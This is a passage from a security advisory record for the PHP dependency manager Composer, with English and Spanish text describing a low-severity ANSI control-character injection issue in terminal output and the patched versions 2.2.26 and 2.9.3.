In versions on the 2.x branch prior to 2.2.26 and 2.9.3, attackers controlling remote sources that Composer downloads from might in some way inject ANSI control characters in the terminal output of various Composer commands, causing mangled output and potentially leading to confusion or DoS of the terminal application. There is no proven exploit and this has thus a low severity but we still publish a CVE as it has potential for abuse, and we want to be on the safe side informing users that they should upgrade. Versions 2.2.26 and 2.9.3 contain a patch for the issue."}, {"lang": "es", "value": "Composer es un gestor de dependencias para PHP. En versiones de la rama 2.x anteriores a la 2.2.26 y 2.9.3, atacantes que controlan fuentes remotas de las que Composer descarga podrían de alguna manera inyectar caracteres de control ANSI en la salida de terminal de varios comandos de Composer, causando una salida distorsionada y potencialmente llevando a confusión o DoS de la aplicación de terminal.
